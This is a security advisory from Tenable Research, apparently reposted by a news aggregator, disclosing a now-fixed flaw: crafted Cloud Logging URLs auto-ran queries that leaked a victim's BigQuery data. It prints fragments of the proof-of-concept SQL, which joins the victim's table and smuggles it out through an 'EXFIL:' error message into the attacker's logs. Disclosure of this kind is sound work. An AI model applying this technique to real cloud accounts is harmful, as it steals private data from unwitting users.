Tenable Research has identified and responsibly disclosed a data exfiltration vulnerability in Google Cloud Logging. This flaw allowed an attacker to exfiltrate data from a victim's BigQuery datasets by visiting a maliciously crafted Cloud Logging URL.
When a user navigates to a Log Analytics URL, the embedded SQL query is automatically submitted, even when set to use the BigQuery engine. An attacker could exploit this behavior by granting the victim BigQuery permissions in the attacker’s project and crafting a malicious URL containing a "Join" query. The query links a log view in the attacker’s project to a sensitive dataset in the victim’s project. Because the query is executed in the context of the user viewing the page, it runs with the victim's permissions. The attacker can therefore create a URL for a Log Analytics query that runs in their own project, but raises the results of the victim's dataset as an error. When the victim browses to the URL, their private BigQuery data will be exfiltrated to the attacker’s project logs.
ERROR(CONCAT('EXFIL: ', TO_BASE64(
TO_JSON_STRING(ARRAY_AGG(t)) AS BYTES
`[ATTACKER_PROJECT].global._Default._AllLogs` AS l
CROSS JOIN `[VICTIM_PROJECT].[VICTIM_DATASET].[VICTIM_TABLE]` AS t
proto_payload.audit_log.status.message, r'^EXFIL:\s+([A-Za-z0-9+/=]+)'
`[ATTACKER_PROJECT].global._Default._AllLogs`
WHERE severity = "ERROR" AND starts_with(proto_payload.audit_log.status.message, 'EXFIL')
ORDER BY timestamp DESC
Google has resolved the issue by stopping the automatic running of log analytics queries. Queries involving resources that do not an ownership boundary will now display a warning message to ask users to check if the query is safe, and manually initiate running the query in charts, once confirmed.
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections this advisory, please email [email protected]
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
